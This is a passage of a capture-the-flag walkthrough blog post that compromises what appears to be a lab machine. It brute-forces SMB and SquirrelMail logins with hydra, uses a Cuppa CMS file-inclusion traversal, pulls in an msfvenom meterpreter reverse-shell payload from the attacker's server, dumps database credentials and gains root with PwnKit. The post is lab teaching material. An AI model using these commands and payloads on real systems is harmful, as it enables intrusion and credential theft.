&lt;p&gt;This one is to get Miles password for his emails (very likely POP3 and IMAP ports, which seems like they are present because a SquirrelMail is hosted at &lt;code&gt;/squirrelmail&lt;/code&gt; which I found with &lt;code&gt;dirsearch&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;So... now we have a bunch of vectors, the first one I tried was to attempt to access the &lt;code&gt;milesdyson&lt;/code&gt; share, user very likely going to be the same name, and password one of the ones in the log file.&lt;/p&gt;

&lt;p&gt;With hydra we can do a dictionary attack:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; milesdyson &lt;span class="nt"&gt;-P&lt;/span&gt; 10.X.X.X-anonymous_logs_log1.txt smb://10.X.X.X
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Though this one didn't exactly work... What I noticed is that &lt;code&gt;milesdyson&lt;/code&gt; IS the right username as other options give an anonymous success.&lt;/p&gt;

&lt;p&gt;My next idea was to maybe use the same log to attempt usernames:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-L&lt;/span&gt; 10.X.X.X-anonymous_logs_log1.txt &lt;span class="nt"&gt;-P&lt;/span&gt; 10.X.X.X-anonymous_logs_log1.txt smb://10.X.X.X
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But all returned that the account didn't exist... just in case I downloaded the other logs but as mentioned before they are empty.&lt;/p&gt;

&lt;p&gt;Now, what if directly going against the SquirrelMail?&lt;/p&gt;

&lt;h3&gt;
  
  
  Attempts against SquirrelMail
&lt;/h3&gt;

&lt;p&gt;The login page already reveals the version: 1.4.23.&lt;/p&gt;

&lt;p&gt;A direct version for it on ExploitDB doesn't show much, however deeaper searches reveal it's quite old, and has all sort of vulns: LFI, XSS, HTML injection, XSS, etc. But most of these need some sort of foothold, so first let's just brute-force &lt;code&gt;milesdyson&lt;/code&gt; with our log file but on SquirrelMail.&lt;/p&gt;

&lt;p&gt;The command would be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-V&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; milesdyson &lt;span class="nt"&gt;-P&lt;/span&gt; 10.X.X.X-anonymous_logs_log1.txt 10.X.X.X http-post-form &lt;span class="s2"&gt;"/squirrelmail/src/redirect.php:login_username=^USER^&amp;amp;secretkey=^PASS^&amp;amp;js_autodetect_results=1&amp;amp;just_logged_in=1:F=Unknown user or password incorrect"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wait 3 seconds, and we get:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[80][http-post-form] host: 10.X.X.X   login: milesdyson   password: [go do it yourself!]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this we can answer the question and do a successful login at &lt;code&gt;/squirrelmail&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  2nd Question
&lt;/h2&gt;

&lt;p&gt;Now this wants a directory! Spoiler alert: dirsearch nor gobuster are helping!&lt;/p&gt;

&lt;p&gt;Before anything, remember the credentials for SquirrelMail? Well, go there and there are some emails, one which has "Samba Password reset" has the subject, open it and it indicates that the SMB password has been reset to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;)s{A&amp;amp;2Z=[truncated! once again, go do it yourself!]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are two other emails, each one respectively with: binary data, and random text.&lt;/p&gt;

&lt;p&gt;But let's go step by step, first let's access the SMB share "milesdyson" with our password and user of the same name of the share.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    milesdyson                                          READ ONLY   Miles Dyson Personal Share
    ./milesdyson
    dr--r--r--                0 Tue Sep 17 03:05:47 2019    .
    dr--r--r--                0 Tue Sep 17 21:51:02 2019    ..
    fr--r--r--          5743095 Tue Sep 17 03:05:14 2019    Improving Deep Neural Networks.pdf
    fr--r--r--         12927230 Tue Sep 17 03:05:14 2019    Natural Language Processing-Building Sequence Models.pdf
    fr--r--r--         19655446 Tue Sep 17 03:05:14 2019    Convolutional Neural Networks-CNN.pdf
    dr--r--r--                0 Tue Sep 17 03:18:40 2019    notes
    fr--r--r--          4304586 Tue Sep 17 03:05:14 2019    Neural Networks and Deep Learning.pdf
    fr--r--r--          3531427 Tue Sep 17 03:05:14 2019    Structuring your Machine Learning Project.pdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are mostly just random PDFs, though the &lt;code&gt;notes/&lt;/code&gt; directory looks interesting.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    milesdyson                                          READ ONLY   Miles Dyson Personal Share
    ./milesdysonnotes
    dr--r--r--                0 Tue Sep 17 03:18:40 2019    .
    dr--r--r--                0 Tue Sep 17 03:05:47 2019    ..
    fr--r--r--            65601 Tue Sep 17 03:01:29 2019    3.01 Search.md
    fr--r--r--             5683 Tue Sep 17 03:01:29 2019    4.01 Agent-Based Models.md
    fr--r--r--             7949 Tue Sep 17 03:01:29 2019    2.08 In Practice.md
    fr--r--r--             3114 Tue Sep 17 03:01:29 2019    0.00 Cover.md
    fr--r--r--            70314 Tue Sep 17 03:01:29 2019    1.02 Linear Algebra.md
    fr--r--r--              117 Tue Sep 17 03:18:39 2019    important.txt
    fr--r--r--             9221 Tue Sep 17 03:01:29 2019    6.01 pandas.md
    fr--r--r--               33 Tue Sep 17 03:01:29 2019    3.00 Artificial Intelligence.md
    fr--r--r--             1165 Tue Sep 17 03:01:29 2019    2.01 Overview.md
    fr--r--r--            71657 Tue Sep 17 03:01:29 2019    3.02 Planning.md
    fr--r--r--            62712 Tue Sep 17 03:01:29 2019    1.04 Probability.md
    fr--r--r--            82633 Tue Sep 17 03:01:29 2019    2.06 Natural Language Processing.md
    fr--r--r--               26 Tue Sep 17 03:01:29 2019    2.00 Machine Learning.md
    fr--r--r--            40779 Tue Sep 17 03:01:29 2019    1.03 Calculus.md
    fr--r--r--            25119 Tue Sep 17 03:01:29 2019    3.03 Reinforcement Learning.md
    fr--r--r--            81655 Tue Sep 17 03:01:29 2019    1.08 Probabilistic Graphical Models.md
    fr--r--r--            39554 Tue Sep 17 03:01:29 2019    1.06 Bayesian Statistics.md
    fr--r--r--               20 Tue Sep 17 03:01:29 2019    6.00 Appendices.md
    fr--r--r--             7627 Tue Sep 17 03:01:29 2019    1.01 Functions.md
    fr--r--r--           144726 Tue Sep 17 03:01:29 2019    2.03 Neural Nets.md
    fr--r--r--            33383 Tue Sep 17 03:01:29 2019    2.04 Model Selection.md
    fr--r--r--            94287 Tue Sep 17 03:01:29 2019    2.02 Supervised Learning.md
    fr--r--r--               20 Tue Sep 17 03:01:29 2019    4.00 Simulation.md
    fr--r--r--             1123 Tue Sep 17 03:01:29 2019    3.05 In Practice.md
    fr--r--r--             5110 Tue Sep 17 03:01:29 2019    1.07 Graphs.md
    fr--r--r--            21579 Tue Sep 17 03:01:29 2019    2.07 Unsupervised Learning.md
    fr--r--r--            39443 Tue Sep 17 03:01:29 2019    2.05 Bayesian Learning.md
    fr--r--r--             2516 Tue Sep 17 03:01:29 2019    5.03 Anonymization.md
    fr--r--r--             5788 Tue Sep 17 03:01:29 2019    5.01 Process.md
    fr--r--r--            25823 Tue Sep 17 03:01:29 2019    1.09 Optimization.md
    fr--r--r--            64291 Tue Sep 17 03:01:29 2019    1.05 Statistics.md
    fr--r--r--              940 Tue Sep 17 03:01:29 2019    5.02 Visualization.md
    fr--r--r--               21 Tue Sep 17 03:01:29 2019    5.00 In Practice.md
    fr--r--r--            44601 Tue Sep 17 03:01:29 2019    4.02 Nonlinear Dynamics.md
    fr--r--r--            28790 Tue Sep 17 03:01:29 2019    1.10 Algorithms.md
    fr--r--r--            13360 Tue Sep 17 03:01:29 2019    3.04 Filtering.md
    fr--r--r--               22 Tue Sep 17 03:01:29 2019    1.00 Foundations.md
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once again a file, in this case &lt;code&gt;important.txt&lt;/code&gt; stands out. To download it we can use the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smbmap &lt;span class="nt"&gt;-H&lt;/span&gt; 10.X.X.X &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"milesdyson"&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;')s{A&amp;amp;2Z=[truncated]'&lt;/span&gt; &lt;span class="nt"&gt;--download&lt;/span&gt; &lt;span class="s1"&gt;'milesdyson/notes/important.txt'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, we see its contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Add features to beta CMS /45kra[truncated]
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With that we now found the hidden directory, which mentions a "beta &lt;strong&gt;CMS&lt;/strong&gt;" is there.&lt;/p&gt;

&lt;h2&gt;
  
  
  3rd Question
&lt;/h2&gt;

&lt;p&gt;This is probably just a spoiler on the vuln we'll exploit: remote file inclusion.&lt;/p&gt;

&lt;h2&gt;
  
  
  4th Question
&lt;/h2&gt;

&lt;p&gt;Ok, so let's see... the hidden directory just has a simple page that seems to have no logic on it. Going back to SquirrelMail my first idea was to check out the strange emails from before, the binary from before can't get converted by CyberChef, and the random text seems to have no meaning so I marked them as red herrings.&lt;/p&gt;

&lt;p&gt;After a bunch of research I found nothing on SquirrelMail, so I decided to pivot to the "beta CMS" mentioned before. I threw &lt;code&gt;dirsearch&lt;/code&gt; at it and managed to find an &lt;code&gt;/administrator/&lt;/code&gt; throwing 200 status codes.&lt;/p&gt;

&lt;p&gt;Inside we got a new attack surface as this CMS is Cuppa CMS, right now we just have the login form.&lt;/p&gt;

&lt;p&gt;I originally tried a bunch of creds but got nothing, so after quite a long time at attempting brute force I went for searching &lt;strong&gt;remote file inclusion&lt;/strong&gt; and see if they didn't depend on being authenticated.&lt;/p&gt;

&lt;p&gt;The only exploit against CuppaCMS in ExploitDB offered just what we needed: &lt;a href="https://www.exploit-db.com/exploits/25971" rel="noopener noreferrer"&gt;Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion - PHP webapps Exploit&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This looks promising so I tried out, first of all the equivalent of &lt;code&gt;/cuppa&lt;/code&gt; for our target would actually be &lt;code&gt;/45kra24zxs28v3yd/administrator/&lt;/code&gt;, then we get the path &lt;code&gt;/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php&lt;/code&gt;. Finally we attempt some payloads (&lt;code&gt;?urlConfig=../../../../../../../../../etc/passwd&lt;/code&gt;), the whole thing would look like: &lt;code&gt;/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So I go to the browser's URL tab, put that in and...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg482x2oc7nqwo50nqsj6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg482x2oc7nqwo50nqsj6.png" alt="Screenshot of successful LFI" width="800" height="104"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;YES! We have LFI, and potentially RFI too! So I immediately prepared a payload, in my case I preferred using &lt;code&gt;msfvenom&lt;/code&gt; to make a meterpreter payload to start immediately with a decent shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;msfvenom&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;meterpreter&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;reverse_tcp&lt;/span&gt; &lt;span class="no"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;10.&lt;/span&gt;&lt;span class="nc"&gt;X&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;X&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;X&lt;/span&gt; &lt;span class="no"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4444&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="n"&gt;raw&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then do the usual setup on &lt;code&gt;msfconsole&lt;/code&gt; to receive the shell, and finally through a Python HTTP server you can run the payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://10.X.X.X/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.X.X.X:8080/shell.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, we can do some stuff such as getting the login credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; 
    &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Configuration&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"localhost"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"cuppa"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"root"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"password123"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$table_prefix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"cu_"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$administrator_template&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"default"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$list_limit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"OBqIPqlFWf3X"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$allowed_extensions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$upload_default_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"media/uploadsFiles"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$maximum_file_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"5242880"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$secure_login&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$secure_login_value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$secure_login_redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; 
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Though now we know they weren't needed, as we can continue traversing the filesystem until finding the &lt;code&gt;user.txt&lt;/code&gt; file on &lt;code&gt;/home/milesdyson&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;7ce[truncated]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  5th Question
&lt;/h2&gt;

&lt;p&gt;Finally, we are on the last step! Seems we are going to need some privilege escalation. I decided to start a normal shell and do some initial recon. The classics such as &lt;code&gt;whoami&lt;/code&gt; and looking for SUID stuff, maybe &lt;strong&gt;pkexec&lt;/strong&gt;?&lt;/p&gt;

&lt;p&gt;I quickly got lots of ideas on possibilities, but to not loss time on rabbit holes I decided to take a look at the hint which said: "A recursive call"...&lt;/p&gt;

&lt;p&gt;Pretty sure this references either two things. Maybe PwnKit because the classic PwnKit vuln involves pkexec calling itself recursively exploiting how it parses arguments and environment variables.&lt;/p&gt;

&lt;p&gt;Or... it could also be cron jobs.&lt;/p&gt;

&lt;p&gt;Either way, the one that could be easiest to exploit and that by running &lt;code&gt;pkexec --version&lt;/code&gt; seems like it should work is PwnKit.&lt;/p&gt;

&lt;p&gt;In case they were needed even &lt;code&gt;gcc&lt;/code&gt; and &lt;code&gt;make&lt;/code&gt; are installed, though precompiled binaries should be more than enough. So through meterpreter I sent the binary to &lt;code&gt;/tmp/exploit&lt;/code&gt;. Afterwards just &lt;code&gt;chmod&lt;/code&gt; and run it and see how &lt;code&gt;whoami&lt;/code&gt; now says &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;FINALLY! Just go and &lt;code&gt;cat /root/root.txt&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;3f0[truncated]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Overall this was a really fun CTF, it used quite a bunch of vulns, I also checked out the official walkthrough to compare. Apparently "A recursive call" referred to exploiting a bunch of cron jobs with weak permission, but PwnKit did the same but better anyways and was what seemed the easiest to exploit.&lt;/p&gt;

&lt;p&gt;Another nice thing is that it covered quite a bunch of areas: SMB enumeration, dictionary attacks with hydra, directory enumeration, and a bunch of searches at ExploitDB.&lt;/p&gt;

&lt;p&gt;Hopefully unlike others this walkthrough doesn't just show you the process to solve this CTF, but also the thinking I had.&lt;/p&gt;

&lt;p&gt;Remember you can drop me a DM on Discord for suggestions!&lt;br&gt;
See you next time! :D&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>rfi</category>
      <category>smb</category>
      <category>walkthrough</category>
    </item>
  </channel>
</rss>
